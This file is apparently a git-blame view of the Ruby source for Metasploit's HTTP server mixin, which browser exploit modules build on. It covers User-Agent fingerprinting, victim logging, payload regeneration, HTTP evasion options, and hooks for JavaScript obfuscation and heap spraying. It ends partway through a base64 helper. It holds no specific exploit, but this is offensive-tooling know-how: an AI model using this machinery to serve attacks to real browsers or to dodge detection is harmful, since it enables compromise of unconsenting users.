2012-06-29 00:18:28 -05:00
# -*- coding: binary -*-
2011-05-12 20:03:55 +00:00
require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'
2005-09-22 03:24:32 +00:00
module Msf
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer
include Msf :: Exploit :: Remote :: TcpServer
2009-07-22 20:14:35 +00:00
include Msf :: Auxiliary :: Report
2005-09-22 03:24:32 +00:00
2006-01-02 07:49:52 +00:00
def initialize ( info = { } )
super
2009-11-03 18:09:05 +00:00
2006-01-02 07:49:52 +00:00
register_options (
[
OptString . new ( 'URIPATH' , [ false , " The URI to use for this exploit (default is random) " ] ) ,
2006-01-05 22:20:28 +00:00
] , Exploit :: Remote :: HttpServer
2009-10-16 18:27:18 +00:00
)
2006-01-05 22:20:28 +00:00
2009-10-16 18:27:18 +00:00
register_evasion_options (
[
OptBool . new ( 'HTTP::chunked' , [ false , 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"' , 'false' ] ) ,
OptBool . new ( 'HTTP::header_folding' , [ false , 'Enable folding of HTTP headers' , 'false' ] ) ,
OptBool . new ( 'HTTP::junk_headers' , [ false , 'Enable insertion of random junk HTTP headers' , 'false' ] ) ,
OptEnum . new ( 'HTTP::compression' , [ false , 'Enable compression of HTTP responses via content encoding' , 'none' , [ 'none' , 'gzip' , 'deflate' ] ] ) ,
2011-05-22 23:01:30 +00:00
OptString . new ( 'HTTP::server_name' , [ true , 'Configures the Server header of all outgoing replies' , 'Apache' ] )
2011-05-20 23:12:35 +00:00
] , Exploit :: Remote :: HttpServer
)
2009-11-13 22:11:52 +00:00
@service_path = nil
2006-01-02 07:49:52 +00:00
end
2007-04-04 02:04:37 +00:00
#
# By default, all HTTP servers are not subject to automatic exploitation
#
def autofilter
false
end
2012-04-10 23:21:55 -06:00
#
# Thread-local client accessor
#
def cli
Thread . current [ :cli ]
end
#
# Thread-local client accessor
#
def cli = ( cli )
Thread . current [ :cli ] = cli
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def print_line ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def print_status ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def print_error ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def print_debug ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
2012-10-12 21:48:15 -05:00
#
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_warning ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
2012-04-10 23:21:55 -06:00
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def vprint_line ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def vprint_status ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def vprint_error ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
2012-04-11 00:12:35 -06:00
def vprint_debug ( msg = '' )
2012-04-10 23:21:55 -06:00
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
2012-10-12 21:48:15 -05:00
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_warning ( msg = '' )
( cli ) ? super ( " #{ cli . peerhost . ljust ( 16 ) } #{ self . shortname } - #{ msg } " ) : super
end
2012-04-10 23:21:55 -06:00
2006-01-03 04:24:03 +00:00
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
2006-01-27 22:02:35 +00:00
def use_zlib
if ( ! Rex :: Text . zlib_present? and datastore [ 'HTTP::compression' ] == true )
2009-10-16 18:27:18 +00:00
raise RuntimeError , " zlib support was not detected, yet the HTTP::compression option was set. Don't do that! "
2006-01-03 04:24:03 +00:00
end
end
#
# This method gives a derived class the opportunity to ensure that all
# dependencies are present before initializing the service.
#
2007-04-04 02:04:37 +00:00
# By default, all HTTP server mixins will try to use zlib.
#
2006-01-03 04:24:03 +00:00
def check_dependencies
2007-04-04 02:04:37 +00:00
use_zlib
2006-01-03 04:24:03 +00:00
end
2006-01-02 07:49:52 +00:00
2012-04-11 00:12:35 -06:00
##
# :category: Exploit::Remote::TcpServer overrides
2005-09-22 03:24:32 +00:00
#
# This mixin starts the HTTP server listener. This routine takes a few
# different hash parameters:
#
# ServerHost => Override the server host to listen on (default to SRVHOST).
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
def start_service ( opts = { } )
2006-01-03 04:24:03 +00:00
2011-05-20 23:12:35 +00:00
check_dependencies
2010-10-04 02:11:22 +00:00
comm = datastore [ 'ListenerComm' ]
if ( comm . to_s == " local " )
comm = :: Rex :: Socket :: Comm :: Local
else
comm = nil
end
2011-06-28 21:26:43 +00:00
2005-09-22 03:24:32 +00:00
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' = > datastore [ 'SRVHOST' ] ,
'ServerPort' = > datastore [ 'SRVPORT' ] ,
2010-10-04 02:11:22 +00:00
'Comm' = > comm
2005-09-22 03:24:32 +00:00
} . update ( opts )
2010-08-07 06:59:16 +00:00
# Start a new HTTP server service.
2006-01-17 04:35:44 +00:00
self . service = Rex :: ServiceManager . start (
2009-11-03 18:09:05 +00:00
Rex :: Proto :: Http :: Server ,
2006-01-17 04:35:44 +00:00
opts [ 'ServerPort' ] . to_i ,
opts [ 'ServerHost' ] ,
2010-03-03 18:47:04 +00:00
datastore [ 'SSL' ] ,
2006-01-17 04:35:44 +00:00
{
'Msf' = > framework ,
'MsfExploit' = > self ,
2010-10-04 02:11:22 +00:00
} ,
2011-05-20 23:12:35 +00:00
opts [ 'Comm' ] ,
datastore [ 'SSLCert' ]
2006-01-17 04:35:44 +00:00
)
2005-09-22 03:24:32 +00:00
2011-05-22 23:01:30 +00:00
self . service . server_name = datastore [ 'HTTP::server_name' ]
2006-01-05 22:20:28 +00:00
2005-09-22 03:24:32 +00:00
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' = > Proc . new { | cli , req |
2012-04-10 23:21:55 -06:00
self . cli = cli
2013-03-07 18:20:08 -06:00
( self . respond_to? ( :filter_request_uri ) &&
filter_request_uri ( cli , req )
2012-07-11 02:55:36 -05:00
) ? nil : on_request_uri ( cli , req )
2005-09-22 03:24:32 +00:00
} ,
2006-01-02 07:49:52 +00:00
'Path' = > resource_uri
2005-09-22 03:24:32 +00:00
} . update ( opts [ 'Uri' ] || { } )
2010-12-01 16:57:20 +00:00
proto = ( datastore [ " SSL " ] ? " https " : " http " )
print_status ( " Using URL: #{ proto } :// #{ opts [ 'ServerHost' ] } : #{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
2009-11-03 18:09:05 +00:00
2007-07-03 13:40:45 +00:00
if ( opts [ 'ServerHost' ] == '0.0.0.0' )
2010-12-01 16:57:20 +00:00
print_status ( " Local IP: #{ proto } :// #{ Rex :: Socket . source_address ( '1.2.3.4' ) } : #{ opts [ 'ServerPort' ] } #{ uopts [ 'Path' ] } " )
2007-07-03 13:40:45 +00:00
end
2009-11-03 18:09:05 +00:00
2005-09-22 03:24:32 +00:00
add_resource ( uopts )
end
2012-04-11 00:12:35 -06:00
#
# Return a Hash containing a best guess at the actual browser and operating
# system versions, based on the User-Agent header.
#
# Keys in the returned hash are similar to those expected of
2012-04-11 11:45:48 -06:00
# Report#report_client, and Msf::DBManager#report_host namely:
2012-04-11 00:12:35 -06:00
# +:ua_name+:: a brief identifier for the client, e.g. "Firefox"
# +:ua_ver+:: the version number of the client, e.g. "3.0.11"
# +:os_name+:: one of the Msf::OperatingSystems constants
# +:os_flavor+:: something like "XP" or "Gentoo"
# +:os_lang+:: something like "English", "French", or "en-US"
# +:arch+:: one of the ARCH_* constants
#
# Unknown values may be nil.
#
2010-10-08 20:28:14 +00:00
def fingerprint_user_agent ( ua_str )
2010-10-17 04:35:44 +00:00
fp = { :ua_string = > ua_str }
2009-07-22 20:14:35 +00:00
# always check for IE last because everybody tries to
# look like IE
2010-10-17 04:35:44 +00:00
case ( ua_str . downcase )
# Chrome tries to look like Safari, so check it first
when / chrome \/ ( \ d+(:? \ . \ d+)*) /
# Matches, e.g.:
# Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
fp [ :ua_name ] = HttpClients :: CHROME
fp [ :ua_ver ] = $1
when / version \/ ( \ d+(:? \ . \ d+)*) \ s*safari /
fp [ :ua_name ] = HttpClients :: SAFARI
fp [ :ua_ver ] = $1
2009-07-22 20:14:35 +00:00
when / firefox \/ ((:?[0-9]+ \ .)+[0-9]+) /
2010-10-17 04:35:44 +00:00
fp [ :ua_name ] = HttpClients :: FF
fp [ :ua_ver ] = $1
when / opera \/ ( \ d+(:? \ . \ d+)*) /
fp [ :ua_name ] = HttpClients :: OPERA
fp [ :ua_ver ] = $1
2012-06-25 00:36:04 -05:00
when / mozilla \/ [0-9]+ \ .[0-9] \ (compatible; msie ([0-9]+ \ .[0-9]+) /
2010-10-17 04:35:44 +00:00
fp [ :ua_name ] = HttpClients :: IE
fp [ :ua_ver ] = $1
2009-07-22 20:14:35 +00:00
else
2010-10-17 04:35:44 +00:00
fp [ :ua_name ] = HttpClients :: UNKNOWN
2009-07-22 20:14:35 +00:00
end
2010-10-17 04:35:44 +00:00
case ( ua_str . downcase )
2009-07-22 20:14:35 +00:00
when / (en-us|en-gb) /
2010-10-17 04:35:44 +00:00
fp [ :os_lang ] = $1
2009-07-22 20:14:35 +00:00
end
2010-10-17 04:35:44 +00:00
case ( ua_str . downcase )
2009-07-22 20:14:35 +00:00
when / windows /
2010-10-17 04:35:44 +00:00
fp [ :os_name ] = OperatingSystems :: WINDOWS
fp [ :arch ] = ARCH_X86
2009-07-22 20:14:35 +00:00
when / linux /
2010-10-17 04:35:44 +00:00
fp [ :os_name ] = OperatingSystems :: LINUX
2009-07-22 20:14:35 +00:00
when / iphone /
2010-10-17 04:35:44 +00:00
fp [ :os_name ] = OperatingSystems :: MAC_OSX
fp [ :arch ] = 'armle'
2009-07-22 20:14:35 +00:00
when / mac os x /
2010-10-17 04:35:44 +00:00
fp [ :os_name ] = OperatingSystems :: MAC_OSX
2009-07-22 20:14:35 +00:00
else
2010-10-17 04:35:44 +00:00
fp [ :os_name ] = OperatingSystems :: UNKNOWN
2009-07-22 20:14:35 +00:00
end
2010-10-17 04:35:44 +00:00
case ( ua_str . downcase )
2009-07-22 20:14:35 +00:00
when / windows 95 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = '95'
2009-07-22 20:14:35 +00:00
when / windows 98 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = '98'
2009-07-22 20:14:35 +00:00
when / windows nt 4 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = 'NT'
2009-07-22 20:14:35 +00:00
when / windows nt 5.0 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = '2000'
2009-07-22 20:14:35 +00:00
when / windows nt 5.1 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = 'XP'
2009-07-22 20:14:35 +00:00
when / windows nt 5.2 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = '2003'
2009-07-22 20:14:35 +00:00
when / windows nt 6.0 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = 'Vista'
2009-07-22 20:14:35 +00:00
when / windows nt 6.1 /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = '7'
2012-06-25 00:36:04 -05:00
when / windows nt 6.2 /
fp [ :os_flavor ] = '8'
2009-07-22 20:14:35 +00:00
when / gentoo /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = 'Gentoo'
2009-07-22 20:14:35 +00:00
when / debian /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = 'Debian'
2009-07-22 20:14:35 +00:00
when / ubuntu /
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = 'Ubuntu'
2011-01-06 21:24:38 +00:00
when / fedora /
fp [ :os_flavor ] = 'Fedora'
when / red hat|rhel /
fp [ :os_flavor ] = 'RHEL'
when / android /
fp [ :os_flavor ] = 'Android'
2009-07-22 20:14:35 +00:00
else
2010-10-17 04:35:44 +00:00
fp [ :os_flavor ] = ''
2009-07-22 20:14:35 +00:00
end
2010-10-17 04:35:44 +00:00
case ( ua_str . downcase )
2009-07-22 20:14:35 +00:00
when / ppc /
2010-10-17 04:35:44 +00:00
fp [ :arch ] = ARCH_PPC
2009-07-22 20:14:35 +00:00
when / x64|x86_64 /
2010-10-17 04:35:44 +00:00
fp [ :arch ] = ARCH_X86_64
2009-07-22 20:14:35 +00:00
when / i.86|wow64 /
# WOW64 means "Windows on Windows64" and is present
# in the useragent of 32-bit IE running on 64-bit
# Windows
2010-10-17 04:35:44 +00:00
fp [ :arch ] = ARCH_X86
2011-01-06 21:24:38 +00:00
when / android|iphone|ipod|ipad /
fp [ :arch ] = ARCH_ARMLE
2009-07-22 20:14:35 +00:00
else
2010-10-17 04:35:44 +00:00
fp [ :arch ] = ARCH_X86
2009-07-22 20:14:35 +00:00
end
2010-10-08 20:28:14 +00:00
2010-10-17 04:35:44 +00:00
fp
2010-10-08 20:28:14 +00:00
end
#
# Store the results of server-side User-Agent fingerprinting in the DB.
#
# Returns a Hash containing host and client information.
#
def report_user_agent ( address , request , client_opts = { } )
fp = fingerprint_user_agent ( request [ " User-Agent " ] )
2009-07-23 06:18:34 +00:00
host = {
:address = > address ,
:host = > address ,
}
2010-10-08 20:28:14 +00:00
host [ :os_name ] = fp [ :os_name ] if fp [ :os_name ]
host [ :os_flavor ] = fp [ :os_flavor ] if fp [ :os_flavor ]
host [ :arch ] = fp [ :arch ] if fp [ :arch ]
host [ :os_lang ] = fp [ :os_lang ] if fp [ :os_lang ]
2009-07-23 06:18:34 +00:00
report_host ( host )
client = {
:host = > address ,
2009-07-22 20:14:35 +00:00
:ua_string = > request [ 'User-Agent' ] ,
2009-07-23 06:18:34 +00:00
}
2010-10-08 20:28:14 +00:00
client [ :ua_name ] = fp [ :ua_name ] if fp [ :ua_name ]
client [ :ua_ver ] = fp [ :ua_ver ] if fp [ :ua_ver ]
client . merge! ( client_opts ) if client_opts
2009-07-23 06:18:34 +00:00
report_client ( client )
2009-07-22 20:14:35 +00:00
report_note (
2009-07-23 06:18:34 +00:00
:host = > address ,
2010-10-08 20:28:14 +00:00
:type = > 'http.request' ,
:data = > " #{ address } : #{ request . method } #{ request . resource } #{ client [ :os_name ] } #{ client [ :ua_name ] } #{ client [ :ua_ver ] } " ,
2010-09-19 22:25:56 +00:00
:update = > :unique_data
2009-07-22 20:14:35 +00:00
)
2010-03-04 07:38:52 +00:00
return host . merge ( client )
2009-07-22 20:14:35 +00:00
end
2005-09-22 03:24:32 +00:00
#
# Adds a URI resource using the supplied hash parameters.
#
# Path => The path to associate the procedure with.
# Proc => The procedure to call when the URI is requested.
# LongCall => Indicates that the request is a long call.
#
2012-04-11 00:12:35 -06:00
# NOTE: Calling #add_resource will change the results of subsequent calls
# to #get_resource!
#
2005-09-22 03:24:32 +00:00
def add_resource ( opts )
2006-01-02 07:49:52 +00:00
@service_path = opts [ 'Path' ]
2005-09-22 03:24:32 +00:00
service . add_resource ( opts [ 'Path' ] , opts )
end
2009-11-03 18:09:05 +00:00
2006-01-02 07:49:52 +00:00
#
# Returns the last-used resource path
#
def get_resource
2009-11-25 06:45:14 +00:00
# We don't want modules modifying their service_path inadvertantly, so
# give them a dup. Can be nil during module setup.
@service_path ? @service_path . dup : nil
2006-01-02 07:49:52 +00:00
end
2009-11-03 18:09:05 +00:00
2011-01-21 23:19:11 +00:00
#
2012-04-11 11:45:48 -06:00
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
2011-01-21 23:19:11 +00:00
#
# The address portion should be something a client would be able to route,
2013-04-29 13:33:20 -05:00
# but see {#srvhost_addr} for caveats.
2011-01-21 23:19:11 +00:00
#
2013-04-29 13:33:20 -05:00
def get_uri ( cli = self . cli )
2010-11-19 18:15:20 +00:00
ssl = ! ! ( datastore [ " SSL " ] )
proto = ( ssl ? " https:// " : " http:// " )
2011-01-22 00:16:57 +00:00
if ( cli and cli . peerhost )
host = Rex :: Socket . source_address ( cli . peerhost )
else
host = srvhost_addr
end
2011-01-21 23:19:11 +00:00
2012-01-31 01:44:03 -06:00
if Rex :: Socket . is_ipv6? ( host )
host = " [ #{ host } ] "
end
2011-01-21 23:19:11 +00:00
if ( ssl and datastore [ " SRVPORT " ] == 443 )
port = ''
elsif ( ! ssl and datastore [ " SRVPORT " ] == 80 )
port = ''
else
port = " : " + datastore [ " SRVPORT " ] . to_s
end
2010-11-19 18:15:20 +00:00
uri = proto + host + port + get_resource
uri
end
2011-01-21 23:19:11 +00:00
#
2013-04-29 13:33:20 -05:00
# An address to which the client can route.
2011-01-21 23:19:11 +00:00
#
# If available, return LHOST which should be the right thing since it
# already has to be an address the client can route to for the payload to
# work. However, LHOST will only be available if we're using a reverse_*
# payload, so if we don't have it, try to use the client's peerhost
# address. Failing that, fall back to the addr with the default gateway.
# All of this will be for naught in the case of a user behind NAT using a
# bind payload but there's nothing we can do about it.
#
2012-04-11 00:12:35 -06:00
# NOTE: The address will be *incorrect* in the following two situations:
2013-04-29 13:33:20 -05:00
# 1. LHOST is pointed at a multi/handler on some other box.
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
2012-04-11 00:12:35 -06:00
# using a bind payload. In that case, we don't have an LHOST and
# the source address will be internal.
2011-01-21 23:19:11 +00:00
#
# This can potentially be dealt with in a module by using the Host header
# from a request if such a header exists.
#
2013-04-29 13:33:20 -05:00
# @return [String]
2011-01-21 23:19:11 +00:00
def srvhost_addr
2013-04-29 13:33:20 -05:00
if ( datastore [ 'LHOST' ] and ( ! datastore [ 'LHOST' ] . strip . empty? ) )
2011-01-21 23:19:11 +00:00
host = datastore [ " LHOST " ]
else
2012-01-31 01:44:03 -06:00
if ( datastore [ 'SRVHOST' ] == " 0.0.0.0 " or datastore [ 'SRVHOST' ] == " :: " )
2013-04-29 13:33:20 -05:00
if ( respond_to? ( :sock ) and sock and sock . peerhost )
# Then this is a Passive-Aggressive module. It has a socket
# connected to the remote server from which we can deduce the
# appropriate source address.
2011-01-21 23:42:56 +00:00
host = Rex :: Socket . source_address ( sock . peerhost )
else
2013-04-29 13:33:20 -05:00
# Otherwise, this module is only a server, not a client, *and*
# the payload does not have an LHOST option. This can happen,
# for example, with a browser exploit using a download-exec
# payload. In that case, just use the address of the interface
# with the default gateway and hope for the best.
2011-01-21 23:42:56 +00:00
host = Rex :: Socket . source_address
end
2011-01-21 23:19:11 +00:00
else
host = datastore [ 'SRVHOST' ]
end
end
2013-04-29 13:33:20 -05:00
host
2011-01-21 23:19:11 +00:00
end
2005-09-22 03:24:32 +00:00
#
# Removes a URI resource.
#
def remove_resource ( name )
service . remove_resource ( name )
end
#
# Closes a client connection.
#
def close_client ( cli )
service . close_client ( cli )
end
2009-11-03 18:09:05 +00:00
2005-09-22 03:24:32 +00:00
#
# Creates an HTTP response packet.
#
2008-08-08 02:37:54 +00:00
def create_response ( code = 200 , message = " OK " , proto = Rex :: Proto :: Http :: DefaultProtocol )
res = Rex :: Proto :: Http :: Response . new ( code , message , proto ) ;
res [ 'Content-Type' ] = 'text/html'
res
2005-09-22 03:24:32 +00:00
end
2009-10-16 18:27:18 +00:00
#
# Transmits a response to the supplied client, default content-type is text/html
#
# Payload evasions are implemented here!
#
def send_response ( cli , body , headers = { } )
response = create_response
2006-01-02 07:49:52 +00:00
response [ 'Content-Type' ] = 'text/html'
2010-10-12 16:29:35 +00:00
response . body = body . to_s . unpack ( " C* " ) . pack ( " C* " )
2009-10-16 18:27:18 +00:00
2009-11-03 18:09:05 +00:00
if ( datastore [ 'HTTP::compression' ] )
2009-10-16 18:27:18 +00:00
self . use_zlib # make sure...
response . compress = datastore [ 'HTTP::compression' ]
end
if ( datastore [ 'HTTP::chunked' ] == true )
response . auto_cl = false
response . transfer_chunked = true
end
if ( datastore [ 'HTTP::header_folding' ] == true )
response . headers . fold = 1
end
2009-11-03 18:09:05 +00:00
2009-10-16 18:27:18 +00:00
if ( datastore [ 'HTTP::junk_headers' ] == true )
response . headers . junk_headers = 1
end
2006-01-05 22:20:28 +00:00
2006-01-02 07:49:52 +00:00
headers . each_pair { | k , v | response [ k ] = v }
cli . send_response ( response )
2009-10-16 18:27:18 +00:00
end
2006-01-02 07:49:52 +00:00
#
# Sends a 302 redirect to the client
#
2012-04-15 23:35:38 -05:00
def send_redirect ( cli , location = '/' , body = '' , headers = { } )
2006-01-02 07:49:52 +00:00
response = create_response ( 302 , 'Moved' )
response [ 'Content-Type' ] = 'text/html'
response [ 'Location' ] = location
2010-10-12 16:29:35 +00:00
response . body = body . to_s . unpack ( " C* " ) . pack ( " C* " )
2012-04-15 23:35:38 -05:00
headers . each_pair { | k , v | response [ k ] = v }
2009-11-03 18:09:05 +00:00
2006-01-02 07:49:52 +00:00
cli . send_response ( response )
end
2009-11-03 18:09:05 +00:00
2008-07-01 01:44:56 +00:00
2006-01-02 07:49:52 +00:00
#
# Sends a 302 redirect relative to our base path
#
def send_local_redirect ( cli , location )
send_redirect ( cli , get_resource + location )
end
2008-07-01 01:44:56 +00:00
#
# Sends a 404
#
def send_not_found ( cli )
resp_404 = create_response ( 404 , 'Not Found' )
2011-05-20 23:12:35 +00:00
resp_404 . body = %Q{ \
2008-07-01 01:44:56 +00:00
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
2008-08-08 02:37:54 +00:00
<p>The requested URL was not found on this server.</p>
2008-07-01 01:44:56 +00:00
<hr>
<address>Apache/2.2.9 (Unix) Server at #{ datastore [ 'LHOST' ] } Port #{ datastore [ 'SRVPORT' ] } </address>
</body></html>
}
cli . send_response ( resp_404 )
end
2006-01-02 07:49:52 +00:00
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore [ 'URIPATH' ] || random_uri
path = '/' + path if path !~ / ^ \/ /
return path
end
2005-09-25 19:47:48 +00:00
2005-09-22 03:24:32 +00:00
#
# Generates a random URI for use with making finger printing more
# challenging.
#
def random_uri
2006-12-17 07:57:51 +00:00
" / " + Rex :: Text . rand_text_alphanumeric ( rand ( 10 ) + 6 )
2005-09-22 03:24:32 +00:00
end
2005-09-24 19:47:56 +00:00
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port.
#
2007-04-01 21:21:10 +00:00
def regenerate_payload ( cli , arch = nil , platform = nil , target = nil )
2007-07-03 13:40:45 +00:00
pcode = nil
2009-11-03 18:09:05 +00:00
2007-07-03 13:40:45 +00:00
# If the payload fails to generate for some reason, send a 403.
if ( ( pcode = super ( cli , arch , platform , target ) ) == nil )
print_error ( " Failed to generate payload, sending 403. " )
2005-09-24 19:37:27 +00:00
2007-07-03 13:40:45 +00:00
cli . send_response (
create_response ( 403 , 'Forbidden' ) )
2005-09-24 19:37:27 +00:00
2007-07-03 13:40:45 +00:00
return nil
2007-07-03 04:20:50 +00:00
end
2007-07-03 13:40:45 +00:00
pcode
2005-09-24 19:37:27 +00:00
end
2005-09-22 03:24:32 +00:00
##
#
# Override methods
#
##
#
# Called when a request is made to a single URI registered during the
# start_service. Subsequent registrations will not result in a call to
# on_request_uri.
#
2012-04-11 11:45:48 -06:00
# Modules should override this method.
#
2005-09-22 03:24:32 +00:00
def on_request_uri ( cli , request )
end
end
2006-01-27 22:02:35 +00:00
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
2006-12-10 02:55:25 +00:00
module Exploit::Remote::HttpServer::HTML
2006-01-27 22:02:35 +00:00
include Msf :: Exploit :: Remote :: HttpServer
protected
def initialize ( info = { } )
super
2009-11-03 18:09:05 +00:00
2009-10-16 18:27:18 +00:00
register_evasion_options (
[
2006-02-19 03:58:18 +00:00
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
2009-10-16 18:27:18 +00:00
OptEnum . new ( 'HTML::unicode' , [ false , 'Enable HTTP obfuscation via unicode' , 'none' , [ 'none' , 'utf-16le' , 'utf-16be' , 'utf-16be-marker' , 'utf-32le' , 'utf-32be' ] ] ) ,
2011-07-18 15:38:47 +00:00
OptEnum . new ( 'HTML::base64' , [ false , 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)' , 'none' , [ 'none' , 'plain' , 'single_pad' , 'double_pad' , 'random_space_injection' ] ] ) ,
2006-01-27 22:02:35 +00:00
OptInt . new ( 'HTML::javascript::escape' , [ false , 'Enable HTML obfuscation via HTML escaping (number of iterations)' , 0 ] ) ,
2009-10-16 18:27:18 +00:00
] , Exploit :: Remote :: HttpServer :: HTML )
2006-01-27 22:02:35 +00:00
end
2007-04-03 07:35:54 +00:00
#
# Obfuscates symbols found within a javascript string.
#
2008-07-22 07:28:05 +00:00
# Returns an ObfuscateJS object
#
2007-04-03 07:35:54 +00:00
def obfuscate_js ( javascript , opts )
2008-07-22 07:28:05 +00:00
js = Rex :: Exploitation :: ObfuscateJS . new ( javascript , opts )
js . obfuscate
return js
2007-04-03 07:35:54 +00:00
end
2009-10-16 18:27:18 +00:00
#
# Encrypts a given javascript string using the provided key.
#
# Returns a string containing the encrypted string and a loader
#
def encrypt_js ( javascript , key )
js_encoded = Rex :: Exploitation :: EncryptJS . encrypt ( javascript , key )
end
2009-07-13 22:17:11 +00:00
2007-04-03 07:35:54 +00:00
#
# Returns the heaplib javascript, including any custom javascript supplied
# by the caller.
#
2011-09-01 09:08:59 +00:00
def heaplib ( custom_js = '' , opts = { } )
Rex :: Exploitation :: HeapLib . new ( custom_js , opts ) . to_s
2007-04-03 07:35:54 +00:00
end
2008-07-22 07:28:05 +00:00
def js_base64
js = <<-ENDJS
/ / Base64 implementation stolen from http : / / www . webtoolkit . info / javascript - base64 . html
/ / variable names changed to make obfuscation easier
var Base64 = {
/ / private property
_keyStr : " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= " ,
/ / private method
_utf8_encode : function ( input ) {
input = input . replace ( / \\ r \\ n / g , " \\ n " ) ;
var utftext = " " ;
var input_idx ;
for ( input_idx = 0 ; input_idx < input . length ; input_idx + + ) {
var chr = input . charCodeAt ( input_idx ) ;
if ( chr < 128 ) {
utftext += String . fromCharCode ( chr ) ;
}
else if ( ( chr > 127 ) && ( chr < 2048 ) ) {
utftext += String . fromCharCode ( ( chr >> 6 ) | 192 ) ;
utftext += String . fromCharCode ( ( chr & 63 ) | 128 ) ;
} else {
utftext += String . fromCharCode ( ( chr >> 12 ) | 224 ) ;
utftext += String . fromCharCode ( ( ( chr >> 6 ) & 63 ) | 128 ) ;
utftext += String . fromCharCode ( ( chr & 63 ) | 128 ) ;
}
}
return utftext ;
} ,
/ / public method for encoding
encode : function ( input ) {
var output = " " ;
var chr1 , chr2 , chr3 , enc1 , enc2 , enc3 , enc4 ;
var input_idx = 0 ;
input = Base64 . _utf8_encode ( input ) ;
while ( input_idx < input . length ) {
chr1 = input . charCodeAt ( input_idx + + ) ;
chr2 = input . charCodeAt ( input_idx + + ) ;
chr3 = input . charCodeAt ( input_idx + + ) ;
enc1 = chr1 >> 2 ;
enc2 = ( ( chr1 & 3 ) << 4 ) | ( chr2 >> 4 ) ;
enc3 = ( ( chr2 & 15 ) << 2 ) | ( chr3 >> 6 ) ;
enc4 = chr3 & 63 ;
if ( isNaN ( chr2 ) ) {
enc3 = enc4 = 64 ;
} else if ( isNaN ( chr3 ) ) {
enc4 = 64 ;
}
output = output +
this . _keyStr . charAt ( enc1 ) + this . _keyStr . charAt ( enc2 ) +
this . _keyStr . charAt ( enc3 ) + this . _keyStr . charAt ( enc4 ) ;
}
return output ;
} ,
/ / public method for decoding
decode : function ( input ) {
var output = " " ;
var chr1 , chr2 , chr3 ;
var enc1 , enc2 , enc3 , enc4 ;
var i = 0 ;
2008-07-30 02:56:21 +00:00
